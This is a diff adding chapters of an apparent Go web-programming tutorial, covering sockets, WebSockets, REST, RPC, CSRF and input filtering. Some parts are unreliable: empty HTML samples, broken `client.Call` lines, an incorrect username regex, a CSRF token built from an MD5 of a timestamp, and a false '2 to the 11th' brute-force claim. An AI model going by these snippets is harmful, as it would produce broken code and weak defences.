*net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## Summary + +Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Web services](08.0.md) +- Next section: [WebSocket](08.2.md) diff --git a/th/08.2.md b/th/08.2.md new file mode 100644 index 000000000..7f3d9947c --- /dev/null +++ b/th/08.2.md @@ -0,0 +1,159 @@ +# 8.2 WebSockets + +WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets. + +People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth. + +WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP: + +- Only one TCP connection for a single web client. +- WebSocket servers can push data to web clients. +- Lightweight header to reduce data transmission overhead. + +WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously. + +![](images/8.2.websocket.png?raw=true) + +Figure 8.2 WebSocket principle + +## WebSocket principles + +The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically. + +WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called "handshaking". + +Consider the following requests and responses: + +![](images/8.2.websocket2.png?raw=true) + +Figure 8.3 WebSocket request and response. + +"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to append this key to a fixed string after accepting a request: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Use sha1 to compute the binary value and use base64 to encode it. We will then we have: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +Use this as the value of the `Sec-WebSocket-Accept` response header. + +## WebSocket in Go + +The Go standard library does not support WebSockets. However the `websocket` package, which is a sub-package of `go.net` does, and is officially maintained and supported. + +Use `go get` to install this package: + + go get golang.org/x/net/websocket + +WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client. + +Client code: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + +As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The `onopen` event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events: + +- 1)onopen: triggered after connection has been established. +- 2)onmessage: triggered after receiving a message. +- 3)onerror: triggered after an error has occurred. +- 4)onclose: triggered after the connection has closed. + +Server code: + + package main + + import ( + "golang.org/x/net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +When a client `Send`s user input information, the server `Receive`s it, and uses `Send` once again to return a response. + +![](images/8.2.websocket3.png?raw=true) + +Figure 8.4 WebSocket server received information. + +Through the example above, we can see that the client and server side implementation of WebSockets is very convenient. We can use the `net` package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them. + +## Links + +- [Directory](preface.md) +- Previous section: [Sockets](08.1.md) +- Next section: [REST](08.3.md) diff --git a/th/08.3.md b/th/08.3.md new file mode 100644 index 000000000..927870902 --- /dev/null +++ b/th/08.3.md @@ -0,0 +1,136 @@ +# 8.3 REST + +REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it's easy to understand and expand. More and more websites are basing their designs on top of REST. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit. + +## What is REST? + +The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding's doctoral dissertation, who also just happens to be the co-founder of the HTTP protocol. It specifies the architecture's constraints and principles and anything implemented with this architecture can be called a RESTful system. + +Before we understand what REST is, we need to cover the following concepts: + +- Resources + + REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentation layer. + + So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by URI. + +- Representation + + Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc. + + URIs are used to identify resources, but how do we determine its specific manifestations? You are referred to the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer. + +- State Transfer + + An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state. + + Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this: + + -GET is used to obtain resources + -POSTs is used to create or update resources + -PUT updates resources + -DELETE deletes resources + +To summarize the above: + +- (1)Every URI represents a resource. +- (2)There is a representation layer for transferring resources between clients and servers. +- (3)Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on remote resources. + +The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at any time without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance. + +Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components. + +![](images/8.3.rest2.png?raw=true) + +Figure 8.5 REST architecture + +When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points. + +![](images/8.3.rest.png?raw=true) + +Figure 8.6 REST's expansibility. + +## RESTful implementation + +Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the `net/http` package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST. + +REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these applications into several levels depends on which HTTP methods they implement. + +![](images/8.3.rest3.png?raw=true) + +Figure 8.7 REST's level. + +The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developing your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests. + +- HTML standard allows clients send `GET` and `POST` requests through links and forms. It's not possible to send `PUT` or `DELETE` requests without AJAX support. +- Some firewalls intercept `PUT` and `DELETE` requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them. + +We can simulate `PUT` and `DELETE` requests by adding a hidden `_method` field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates: + +```Go + + package main + + import ( + "fmt" + "github.com/julienschmidt/httprouter" + "log" + "net/http" + ) + + func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + fmt.Fprint(w, "Welcome!\n") + } + + func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name")) + } + + func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + // uid := r.FormValue("uid") + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are add user %s", uid) + } + + func main() { + router := httprouter.New() + router.GET("/", Index) + router.GET("/hello/:name", Hello) + + router.GET("/user/:uid", getuser) + router.POST("/adduser/:uid", adduser) + router.DELETE("/deluser/:uid", deleteuser) + router.PUT("/moduser/:uid", modifyuser) + + log.Fatal(http.ListenAndServe(":8080", router)) + } + +``` + +This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called `github.com/julienschmidt/httprouter`. We've already covered how to implement a custom router in previous chapters -the `julienschmidt/httprouter` package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource. + +## Summary + +REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations have allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps. + +## Links + +- [Directory](preface.md) +- Previous section: [WebSocket](08.2.md) +- Next section: [RPC](08.4.md) diff --git a/th/08.4.md b/th/08.4.md new file mode 100644 index 000000000..24c20109c --- /dev/null +++ b/th/08.4.md @@ -0,0 +1,400 @@ +# 8.4 RPC + +In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions. + +RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client. + +In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation. + +## RPC working principle + +![](images/8.4.rpc.png?raw=true) + +Figure 8.8 RPC working principle + +Normally, an RPC call from client to server has the following ten steps: + +- 1. Call the client handle, execute transfer arguments. +- 2. Call local system kernel to send network messages. +- 3. Send messages to remote hosts. +- 4. The server receives handle and arguments. +- 5. Execute remote processes. +- 6. Return execution result to corresponding handle. +- 7. The server handle calls remote system kernel. +- 8. Messages sent back to local system kernel. +- 9. The client handle receives messages from system kernel. +- 10. The client gets results from corresponding handle. + +## Go RPC + +Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob. + +Functions of Go RPC must abide by the following rules for remote access, otherwise the corresponding calls will be ignored. + +- Functions are exported (capitalized). +- Functions must have two arguments with exported types. +- The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client. +- Functions must have a return value of error type. + +For example: + + func (t *T) MethodName(argType T1, replyType *T2) error + +Where T, T1 and T2 must be able to be encoded by the `package/gob` package. + +Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the `net/http` package. + +### HTTP RPC + +HTTP server side code: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP. + +Client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +We compile the client and the server side code separately then start the server and client. You'll then have something similar as follows after you input some data. + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client `client.Call`. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go. + +### TCP RPC + +Let's try the RPC that is based on TCP, here is the server side code: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing. + +As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP). + +### JSON RPC + +JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +JSON RPC is based on TCP and doesn't support HTTP yet. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## Summary + +Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source third-party packages do offer this. + +## Links + +- [Directory](preface.md) +- Previous section: [REST](08.3.md) +- Next section: [Summary](08.5.md) diff --git a/th/08.5.md b/th/08.5.md new file mode 100644 index 000000000..560e9469a --- /dev/null +++ b/th/08.5.md @@ -0,0 +1,11 @@ +# 8.5 Summary + +In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs. + +Go provides excellent support for the four kinds of development methods mentioned above. Note that the `net` package and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages. + +## Links + +- [Directory](preface.md) +- Previous section: [RPC](08.4.md) +- Next chapter: [Security and encryption](09.0.md) diff --git a/th/09.0.md b/th/09.0.md new file mode 100644 index 000000000..0828c312d --- /dev/null +++ b/th/09.0.md @@ -0,0 +1,19 @@ +# 9 Security and encryption +Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems. + +Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems. + +When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input. + +Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks. +This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts. + +Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package. + +A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption. + + +## Links +- [Directory](preface.md) +- Previous Chapter: [Chapter 8 Summary](08.5.md) +- Next section: [CSRF attacks](09.1.md) diff --git a/th/09.1.md b/th/09.1.md new file mode 100644 index 000000000..48c4ffff6 --- /dev/null +++ b/th/09.1.md @@ -0,0 +1,97 @@ +# 9.1 CSRF attacks + +## What is CSRF? + +CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding". + +So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds. + +When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application. + +## CSRF principle + +The following diagram provides a simple overview of ​​a CSRF attack + +![](images/9.1.csrf.png?raw=true) + +Figure 9.1 CSRF attack process. + +As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps: + +-1. Log into trusted site A, and store a local Cookie. +-2. Without going through existing site A, access the dangerous link to site B. + +As a reader you may be asking: "If I do not meet the above two conditions, I will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur: + +- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs. +- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended. +- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks. + +Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack. + +CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request. + +## How to prevent CSRF attacks + +You might be a little scared after reading the section above. But fear is a good thing. It will force you to educate yourself on how to prevent vulnerabilities like this from happening to you. + +Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side. + +There are many ways of preventing CSRF attacks on the server side. Most approaches stem from the following two aspects: + +1. Maintaining proper use of GET, POST and cookies. +2. Including a pseudo-random number with non-GET requests. + +In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design applications according to the following principles: + +1. GET is commonly used to view information without altering any data. + +2. POST is used in placing orders, changing the properties of a resource or performing other tasks. + +I'm now going to use the Go language to illustrate how to restrict access to resources methods: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged. + +We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps: + +- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is. +- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section to meet our needs: + +Generating a random number token: + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + + +Output token: + + + +Authentication token: + + r.ParseForm() + token := r.Form.Get("token") + if token! = "" { + // Verification token of legitimacy + } else { + // Error token does not exist + } + +We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time. + +## Summary + +Cross-site request forgery, also known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications. + +## Links +- [Directory](preface.md) +- Previous section: [Security and encryption](09.0.md) +- Next section: [Filter inputs](09.2.md) diff --git a/th/09.2.md b/th/09.2.md new file mode 100644 index 000000000..b84ac75e7 --- /dev/null +++ b/th/09.2.md @@ -0,0 +1,78 @@ +# 9.2 Filtering inputs + +Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it. + +Our introduction to filtering data is divided into three steps: + +1. identifying the data; we need to filter the data to figure out where it originated from +2. filtering of the data itself; we need to figure out what kind of data we have received +3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is secure + +## Identifying data + +"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source. + +Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers. + +## Filtering data + +If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms differ somewhat in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications. + +There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts! + +We can use several libraries to help us to filter data: + +- The strconv package can help us to convert strings input by users into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, ` ParseFloat ` and `ParseInt`. +- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs. +- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc. + +Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure. + +## Distinguishing between filtered and tainted data + +If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection: + +- Each request must initialize `CleanMap` as an empty map. +- Prevent variables from external data sources named `CleanMap` from being introduced into the app. + +Next, let's use an example form to reinforce these concepts: + +
+ Who am I: + + +
+ +In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks: + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`. + +The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## Summary + +Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with a topic as important as data sanitization, so in this section, we paid special attention to it. + +## Links + +- [Directory](preface.md) +- Previous section: [CSRF 